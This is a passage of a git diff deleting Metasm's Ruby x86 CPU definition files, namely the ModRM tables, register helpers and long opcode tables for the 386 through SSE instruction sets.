[7], [:i16], [3] ], - 1 => [ [3, 6, :i8 ], [3, 7, :i8 ], [5, 6, :i8 ], [5, 7, :i8 ], [6, :i8 ], [7, :i8 ], [5, :i8 ], [3, :i8 ] ], - 2 => [ [3, 6, :i16], [3, 7, :i16], [5, 6, :i16], [5, 7, :i16], [6, :i16], [7, :i16], [5, :i16], [3, :i16] ] - }, - 32 => { - 0 => [ [0], [1], [2], [3], [:sib], [:i32], [6], [7] ], - 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], - 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] - } - } - - - attr_accessor :adsz, :sz - attr_accessor :seg - attr_accessor :s, :i, :b, :imm - - # creates a new ModRM with the specified attributes: - # - adsz (16/32), sz (8/16/32: byte ptr, word ptr, dword ptr) - # - s, i, b, imm - # - segment selector override - def initialize(adsz, sz, s, i, b, imm, seg = nil) - @adsz, @sz = adsz, sz - @s, @i = s, i if i - @b = b if b - @imm = imm if imm - @seg = seg if seg - end - - # returns the symbolic representation of the ModRM (ie an Indirection) - # segment selectors are represented as eg "segment_base_fs" - # not present when same as implicit (ds:edx, ss:esp) - def symbolic(di=nil) - p = nil - p = Expression[p, :+, @b.symbolic(di)] if b - p = Expression[p, :+, [@s, :*, @i.symbolic(di)]] if i - p = Expression[p, :+, @imm] if imm - p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3) - Indirection[p.reduce, @sz/8, (di.address if di)] - end - - def ==(o) - self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz - end - end - - - # Create a new instance of an Ia32 cpu - # arguments (any order) - # - size in bits (16, 32) [32] - # - instruction set (386, 486, pentium...) [latest] - # - endianness [:little] - def initialize(*a) - super() - @size = (a & [16, 32]).first || 32 - a.delete @size - @endianness = (a & [:big, :little]).first || :little - a.delete @endianness - @family = a.pop || :latest - raise "Invalid arguments #{a.inspect}" if not a.empty? - raise "Invalid Ia32 family #{@family.inspect}" if not respond_to?("init_#@family") - end - - # wrapper to transparently forward Ia32.new(64) to X86_64.new - def self.new(*a) - return X86_64.new(*a) if a.include? 64 and self == Ia32 - super(*a) - end - - # initializes the @opcode_list according to @family - def init_opcode_list - send("init_#@family") - @opcode_list - end - - # defines some preprocessor macros to say who we are: - # _M_IX86 = 500, _X86_, __i386__ - # pass any value in nodefine to just call super w/o defining anything of our own - def tune_prepro(pp, nodefine = false) - super(pp) - return if nodefine - pp.define_weak('_M_IX86', 500) - pp.define_weak('_X86_') - pp.define_weak('__i386__') - end - - # returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) - # returns nil if str is invalid - def str_to_reg(str) - Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil - end - - # returns the list of Regs in the instruction arguments - # may be converted into symbols through Reg#symbolic - def instr_args_regs(i) - i = i.instruction if i.kind_of?(DecodedInstruction) - i.args.grep(Reg) - end - - # returns the list of ModRMs in the instruction arguments - # may be converted into Indirection through ModRM#symbolic - def instr_args_memoryptr(i) - i = i.instruction if i.kind_of?(DecodedInstruction) - i.args.grep(ModRM) - end - - # return the 'base' of the ModRM (Reg/nil) - def instr_args_memoryptr_getbase(mrm) - mrm.b || (mrm.i if mrm.s == 1) - end - - # return the offset of the ModRM (Expression/nil) - def instr_args_memoryptr_getoffset(mrm) - mrm.imm - end - - # define ModRM offset (eg to changing imm into an ExpressionString) - def instr_args_memoryptr_setoffset(mrm, imm) - mrm.imm = (imm ? Expression[imm] : imm) - end - - def shortname - "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}" - end -end -X86 = Ia32 -end diff --git a/lib/metasm/metasm/cpu/ia32/opcodes.rb b/lib/metasm/metasm/cpu/ia32/opcodes.rb deleted file mode 100644 index 0aa16cbf43..0000000000 --- a/lib/metasm/metasm/cpu/ia32/opcodes.rb +++ /dev/null @@ -1,1424 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/main' - -module Metasm -class Ia32 - def init_cpu_constants - @opcode_list ||= [] - @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xC7, - :reg => 7, :eeec => 7, :eeed => 7, :eeet => 7, :seg2 => 3, :seg3 => 7, - :regfp => 7, :regmmx => 7, :regxmm => 7, :regymm => 7, - :vex_r => 1, :vex_b => 1, :vex_x => 1, :vex_w => 1, - :vex_vvvv => 0xF - @fields_mask[:seg2A] = @fields_mask[:seg2] - @fields_mask[:seg3A] = @fields_mask[:seg3] - - [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, - :seg3, :seg3A, :eeec, :eeed, :eeet, :modrm, :mrm_imm, - :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, - :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, - :modrmxmm, :regxmm, :modrmymm, :regymm, - :vexvxmm, :vexvymm, :vexvreg, :i4xmm, :i4ymm - ].each { |a| @valid_args[a] = true } - - [:strop, :stropz, :opsz, :adsz, :argsz, :setip, - :stopexec, :saveip, :unsigned_imm, :random, :needpfx, - :xmmx, :modrmR, :modrmA, :mrmvex - ].each { |a| @valid_props[a] = true } - end - - # only most common instructions from the 386 instruction set - # inexhaustive list : - # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... - def init_386_common_only - init_cpu_constants - - addop_macro1 'adc', 2 - addop_macro1 'add', 0 - addop_macro1 'and', 4, :unsigned_imm - addop 'bswap', [0x0F, 0xC8], :reg - addop 'call', [0xE8], nil, :stopexec, :setip, :i, :saveip - addop 'call', [0xFF], 2, :stopexec, :setip, :saveip - addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } - addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } - addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } - addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } - addop_macro1 'cmp', 7 - addop_macrostr 'cmps', [0xA6], :stropz - addop 'dec', [0x48], :reg - addop 'dec', [0xFE], 1, {:w => [0, 0]} - addop 'div', [0xF6], 6, {:w => [0, 0]} - addop 'enter', [0xC8], nil, :u16, :u8 - addop 'idiv', [0xF6], 7, {:w => [0, 0]} - addop 'imul', [0xF6], 5, {:w => [0, 0]} # implicit eax, but different semantic from imul eax, ebx (the implicit version updates edx:eax) - addop 'imul', [0x0F, 0xAF], :mrm - addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i - addop 'inc', [0x40], :reg - addop 'inc', [0xFE], 0, {:w => [0, 0]} - addop 'int', [0xCC], nil, :imm_val3, :stopexec - addop 'int', [0xCD], nil, :u8 - addop_macrotttn 'j', [0x70], nil, :setip, :i8 - addop_macrotttn('j', [0x70], nil, :setip, :i8) { |o| o.name << '.i8' } - addop_macrotttn 'j', [0x0F, 0x80], nil, :setip, :i - addop_macrotttn('j', [0x0F, 0x80], nil, :setip, :i) { |o| o.name << '.i' } - addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec - addop 'jmp', [0xFF], 4, :setip, :stopexec - addop 'lea', [0x8D], :mrmA - addop 'leave', [0xC9] - addop_macrostr 'lods', [0xAC], :strop - addop 'loop', [0xE2], nil, :setip, :i8 - addop 'loopz', [0xE1], nil, :setip, :i8 - addop 'loope', [0xE1], nil, :setip, :i8 - addop 'loopnz',[0xE0], nil, :setip, :i8 - addop 'loopne',[0xE0], nil, :setip, :i8 - addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :reg_eax, :mrm_imm - addop('mov', [0x88], :mrmw,{:d => [0, 1]}) { |o| o.args.reverse! } - addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :i, :unsigned_imm - addop 'mov', [0xC6], 0, {:w => [0, 0]}, :i, :unsigned_imm - addop_macrostr 'movs', [0xA4], :strop - addop 'movsx', [0x0F, 0xBE], :mrmw - addop 'movzx', [0x0F, 0xB6], :mrmw - addop 'mul', [0xF6], 4, {:w => [0, 0]} - addop 'neg', [0xF6], 3, {:w => [0, 0]} - addop 'nop', [0x90] - addop 'not', [0xF6], 2, {:w => [0, 0]} - addop_macro1 'or', 1, :unsigned_imm - addop 'pop', [0x58], :reg - addop 'pop', [0x8F], 0 - addop 'push', [0x50], :reg - addop 'push', [0xFF], 6 - addop 'push', [0x68], nil, {:s => [0, 1]}, :i, :unsigned_imm - addop 'ret', [0xC3], nil, :stopexec, :setip - addop 'ret', [0xC2], nil, :stopexec, :u16, :setip - addop_macro3 'rol', 0 - addop_macro3 'ror', 1 - addop_macro3 'sar', 7 - addop_macro1 'sbb', 3 - addop_macrostr 'scas', [0xAE], :stropz - addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } - addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused - addop_macro3 'shl', 4 - addop_macro3 'sal', 6 - addop 'shld', [0x0F, 0xA4], :mrm, :u8 - addop 'shld', [0x0F, 0xA5], :mrm, :reg_cl - addop_macro3 'shr', 5 - addop 'shrd', [0x0F, 0xAC], :mrm, :u8 - addop 'shrd', [0x0F, 0xAD], :mrm, :reg_cl - addop_macrostr 'stos', [0xAA], :strop - addop_macro1 'sub', 5 - addop 'test', [0x84], :mrmw - addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :i, :unsigned_imm - addop 'test', [0xF6], 0, {:w => [0, 0]}, :i, :unsigned_imm - addop 'xchg', [0x90], :reg, :reg_eax - addop('xchg', [0x90], :reg, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) - addop 'xchg', [0x86], :mrmw - addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } - addop_macro1 'xor', 6, :unsigned_imm - end - - def init_386_only - init_cpu_constants - - addop 'aaa', [0x37] - addop 'aad', [0xD5, 0x0A] - addop 'aam', [0xD4, 0x0A] - addop 'aas', [0x3F] - addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } - addop 'bound', [0x62], :mrmA - addop 'bsf', [0x0F, 0xBC], :mrm - addop 'bsr', [0x0F, 0xBD], :mrm - addop_macro2 'bt' , 0 - addop_macro2 'btc', 3 - addop_macro2 'btr', 2 - addop_macro2 'bts', 1 - addop 'call', [0x9A], nil, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0x9A], nil, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0xFF], 3, :stopexec, :setip, :saveip - addop 'clc', [0xF8] - addop 'cld', [0xFC] - addop 'cli', [0xFA] - addop 'clts', [0x0F, 0x06] - addop 'cmc', [0xF5] - addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } - addop 'cpuid', [0x0F, 0xA2] - addop 'daa', [0x27] - addop 'das', [0x2F] - addop 'hlt', [0xF4], nil, :stopexec - addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax - addop 'in', [0xEC], nil, {:w => [0, 0]} - addop_macrostr 'ins', [0x6C], :strop - addop 'into', [0xCE] - addop 'invd', [0x0F, 0x08] - addop 'invlpg', [0x0F, 0x01, 7<<3], :modrmA - addop('iretd', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 32 } - addop_macroret 'iret', [0xCF] - addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 16 } - addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } - addop 'jmp', [0xEA], nil, :farptr, :setip, :stopexec - addop 'jmpf', [0xEA], nil, :farptr, :setip, :stopexec - addop 'jmpf', [0xFF], 5, :stopexec, :setip # reg ? - addop 'lahf', [0x9F] - addop 'lar', [0x0F, 0x02], :mrm - addop 'lds', [0xC5], :mrmA - addop 'les', [0xC4], :mrmA - addop 'lfs', [0x0F, 0xB4], :mrmA - addop 'lgs', [0x0F, 0xB5], :mrmA - addop 'lgdt', [0x0F, 0x01], 2, :modrmA - addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA - addop 'lldt', [0x0F, 0x00], 2, :modrmA - addop 'lmsw', [0x0F, 0x01], 6 -# prefix addop 'lock', [0xF0] - addop 'lsl', [0x0F, 0x03], :mrm - addop 'lss', [0x0F, 0xB2], :mrmA - addop 'ltr', [0x0F, 0x00], 3 - addop 'mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec - addop 'mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed - addop 'mov', [0x0F, 0x24, 0xC0], :reg, {:d => [1, 1], :eeet => [2, 3]}, :eeet - addop 'mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3 - addop 'movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] } - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax - addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments - addop 'out', [0xEE], nil, {:w => [0, 0]} - addop_macrostr 'outs', [0x6E], :strop - addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A - addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A - addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } - addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } - addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } - addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } - addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 - addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A - addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } - addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } - addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } - addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } - addop_macro3 'rcl', 2 - addop_macro3 'rcr', 3 - addop 'rdmsr', [0x0F, 0x32] - addop 'rdpmc', [0x0F, 0x33] - addop 'rdtsc', [0x0F, 0x31], nil, :random - addop_macroret 'retf', [0xCB] - addop_macroret 'retf', [0xCA], :u16 - addop 'rsm', [0x0F, 0xAA], nil, :stopexec - addop 'sahf', [0x9E] - addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA - addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA - addop 'sldt', [0x0F, 0x00], 0 - addop 'smsw', [0x0F, 0x01], 4 - addop 'stc', [0xF9] - addop 'std', [0xFD] - addop 'sti', [0xFB] - addop 'str', [0x0F, 0x00], 1 - addop 'test', [0xF6], 1, {:w => [0, 0]}, :i, :unsigned_imm # undocumented alias to F6/0 - addop 'ud2', [0x0F, 0x0B] - addop 'verr', [0x0F, 0x00], 4 - addop 'verw', [0x0F, 0x00], 5 - addop 'wait', [0x9B] - addop 'wbinvd',[0x0F, 0x09] - addop 'wrmsr', [0x0F, 0x30] - addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } - addop 'xlat', [0xD7] - -# pfx: addrsz = 0x67, lock = 0xF0, opsz = 0x66, repnz = 0xF2, rep/repz = 0xF3 -# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 - - # undocumented opcodes - addop 'aam', [0xD4], nil, :u8 - addop 'aad', [0xD5], nil, :u8 - addop 'setalc',[0xD6] - addop 'salc', [0xD6] - addop 'icebp', [0xF1] - #addop 'loadall',[0x0F, 0x07] # conflict with syscall - addop 'ud0', [0x0F, 0xFF] # amd - addop 'ud2', [0x0F, 0xB9], :mrm - #addop 'umov', [0x0F, 0x10], :mrmw, {:d => [1, 1]} # conflicts with movups/movhlps - end - - def init_387_only - init_cpu_constants - - addop 'f2xm1', [0xD9, 0xF0] - addop 'fabs', [0xD9, 0xE1] - addop_macrofpu1 'fadd', 0 - addop 'faddp', [0xDE, 0xC0], :regfp - addop 'faddp', [0xDE, 0xC1] - addop('fbld', [0xDF, 4<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop('fbstp', [0xDF, 6<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fchs', [0xD9, 0xE0], nil, :regfp0 - addop 'fnclex', [0xDB, 0xE2] - addop_macrofpu1 'fcom', 2 - addop_macrofpu1 'fcomp', 3 - addop 'fcompp',[0xDE, 0xD9] - addop 'fcomip',[0xDF, 0xF0], :regfp - addop 'fcos', [0xD9, 0xFF], nil, :regfp0 - addop 'fdecstp', [0xD9, 0xF6] - addop_macrofpu1 'fdiv', 6 - addop_macrofpu1 'fdivr', 7 - addop 'fdivp', [0xDE, 0xF8], :regfp - addop 'fdivp', [0xDE, 0xF9] - addop 'fdivrp',[0xDE, 0xF0], :regfp - addop 'fdivrp',[0xDE, 0xF1] - addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp - addop_macrofpu2 'fiadd', 0 - addop_macrofpu2 'fimul', 1 - addop_macrofpu2 'ficom', 2 - addop_macrofpu2 'ficomp',3 - addop_macrofpu2 'fisub', 4 - addop_macrofpu2 'fisubr',5 - addop_macrofpu2 'fidiv', 6 - addop_macrofpu2 'fidivr',7 - addop 'fincstp', [0xD9, 0xF7] - addop 'fninit', [0xDB, 0xE3] - addop_macrofpu2 'fist', 2, 1 - addop_macrofpu3 'fild', 0 - addop_macrofpu3 'fistp',3 - addop('fld', [0xD9, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fld', [0xDD, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fld', [0xDB, 5<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fld', [0xD9, 0xC0], :regfp - - addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fldenv', [0xD9, 4<<3], :modrmA - addop 'fld1', [0xD9, 0xE8] - addop 'fldl2t', [0xD9, 0xE9] - addop 'fldl2e', [0xD9, 0xEA] - addop 'fldpi', [0xD9, 0xEB] - addop 'fldlg2', [0xD9, 0xEC] - addop 'fldln2', [0xD9, 0xED] - addop 'fldz', [0xD9, 0xEE] - addop_macrofpu1 'fmul', 1 - addop 'fmulp', [0xDE, 0xC8], :regfp - addop 'fmulp', [0xDE, 0xC9] - addop 'fnop', [0xD9, 0xD0] - addop 'fpatan', [0xD9, 0xF3] - addop 'fprem', [0xD9, 0xF8] - addop 'fprem1', [0xD9, 0xF5] - addop 'fptan', [0xD9, 0xF2] - addop 'frndint',[0xD9, 0xFC] - addop 'frstor', [0xDD, 4<<3], :modrmA - addop 'fnsave', [0xDD, 6<<3], :modrmA - addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fnstenv',[0xD9, 6<<3], :modrmA - addop 'fnstsw', [0xDF, 0xE0] - addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fscale', [0xD9, 0xFD] - addop 'fsin', [0xD9, 0xFE] - addop 'fsincos',[0xD9, 0xFB] - addop 'fsqrt', [0xD9, 0xFA] - addop('fst', [0xD9, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fst', [0xDD, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop 'fst', [0xD9, 0xD0], :regfp - addop('fstp', [0xD9, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fstp', [0xDD, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fstp', [0xDB, 7<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fstp', [0xDD, 0xD8], :regfp - addop_macrofpu1 'fsub', 4 - addop 'fsubp', [0xDE, 0xE8], :regfp - addop 'fsubp', [0xDE, 0xE9] - addop_macrofpu1 'fsubp', 5 - addop 'fsubrp', [0xDE, 0xE0], :regfp - addop 'fsubrp', [0xDE, 0xE1] - addop 'ftst', [0xD9, 0xE4] - addop 'fucom', [0xDD, 0xE0], :regfp - addop 'fucomp', [0xDD, 0xE8], :regfp - addop 'fucompp',[0xDA, 0xE9] - addop 'fucomi', [0xDB, 0xE8], :regfp - addop 'fxam', [0xD9, 0xE5] - addop 'fxch', [0xD9, 0xC8], :regfp - addop 'fxtract',[0xD9, 0xF4] - addop 'fyl2x', [0xD9, 0xF1] - addop 'fyl2xp1',[0xD9, 0xF9] - # fwait prefix - addop 'fclex', [0x9B, 0xDB, 0xE2] - addop 'finit', [0x9B, 0xDB, 0xE3] - addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA - addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA - addop 'fstsw', [0x9B, 0xDF, 0xE0] - addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fwait', [0x9B] - end - - def init_486_only - init_cpu_constants - end - - def init_pentium_only - init_cpu_constants - - addop('cmpxchg8b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 32 ; o.props[:argsz] = 64 } - # lock cmpxchg8b eax - #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] - - # mmx - addop 'emms', [0x0F, 0x77] - addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 32 } - addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.props[:argsz] = 64 } - addop 'packssdw', [0x0F, 0x6B], :mrmmmx - addop 'packsswb', [0x0F, 0x63], :mrmmmx - addop 'packuswb', [0x0F, 0x67], :mrmmmx - addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx - addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx - addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx - addop 'pand', [0x0F, 0xDB], :mrmmmx - addop 'pandn', [0x0F, 0xDF], :mrmmmx - addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx - addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx - addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx - addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx - addop 'pmulhw',[0x0F, 0xE5], :mrmmmx - addop 'pmullw',[0x0F, 0xD5], :mrmmmx - addop 'por', [0x0F, 0xEB], :mrmmmx - [[1..3, 'psll', 3], [1..2, 'psra', 2], [1..3, 'psrl', 1]].each { |ggrng, name, val| - addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx - addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :regmmx, :u8 - } - addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx - addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx - addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx - addop_macrogg 1..3, 'punpckh', [0x0F, 0x68], :mrmmmx - addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx - addop 'pxor', [0x0F, 0xEF], :mrmmmx - end - - def init_p6_only - addop_macrotttn 'cmov', [0x0F, 0x40], :mrm - - %w{b e be u}.each_with_index { |tt, i| - addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp - addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp - } - addop 'fcomi', [0xDB, 0xF0], :regfp - addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } - addop 'sysenter',[0x0F, 0x34] - addop 'sysexit', [0x0F, 0x35] - - addop 'syscall', [0x0F, 0x05] # AMD - addop_macroret 'sysret', [0x0F, 0x07] # AMD - end - - def init_3dnow_only - init_cpu_constants - - [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], - ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], - ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], - ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], - ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], - ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], - ['pmulhrw', 0xB7]].each { |str, bin| - addop str, [0x0F, 0x0F, bin], :mrmmmx - } - # 3dnow prefix fallback - addop '3dnow', [0x0F, 0x0F], :mrmmmx, :u8 - - addop 'femms', [0x0F, 0x0E] - addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA - addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA - end - - def init_sse_only - init_cpu_constants - - addop_macrossps 'addps', [0x0F, 0x58], :mrmxmm - addop 'andnps', [0x0F, 0x55], :mrmxmm - addop 'andps', [0x0F, 0x54], :mrmxmm - addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm, :u8 - addop 'comiss', [0x0F, 0x2F], :mrmxmm - - addop('cvtpi2ps', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } - addop('cvtps2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } - addop('cvtsi2ss', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } - addop('cvtss2si', [0x0F, 0x2D], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } - addop('cvttps2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } - addop('cvttss2si',[0x0F, 0x2C], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } - - addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm - addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA - addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm - addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm - addop 'movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]} - addop 'movhlps', [0x0F, 0x12], :mrmxmm, :modrmR - addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}, :modrmA - addop 'movlhps', [0x0F, 0x16], :mrmxmm, :modrmR - addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}, :modrmA - addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg - addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } - addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} - addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm - addop 'orps', [0x0F, 0x56], :mrmxmm - addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm - addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm - addop 'shufps', [0x0F, 0xC6], :mrmxmm, :u8 - addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm - addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA - addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm - addop 'ucomiss', [0x0F, 0x2E], :mrmxmm - addop 'unpckhps',[0x0F, 0x15], :mrmxmm - addop 'unpcklps',[0x0F, 0x14], :mrmxmm - addop 'xorps', [0x0F, 0x57], :mrmxmm - - # integer instrs, mmx only - addop 'pavgb', [0x0F, 0xE0], :mrmmmx - addop 'pavgw', [0x0F, 0xE3], :mrmmmx - addop 'pextrw', [0x0F, 0xC5, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx, :u8 - addop 'pinsrw', [0x0F, 0xC4, 0x00], nil, {:modrm => [2, 0], :regmmx => [2, 3]}, :modrm, :regmmx, :u8 - addop 'pmaxsw', [0x0F, 0xEE], :mrmmmx - addop 'pmaxub', [0x0F, 0xDE], :mrmmmx - addop 'pminsw', [0x0F, 0xEA], :mrmmmx - addop 'pminub', [0x0F, 0xDA], :mrmmmx - addop 'pmovmskb',[0x0F, 0xD7, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx - addop 'psadbw', [0x0F, 0xF6], :mrmmmx - addop 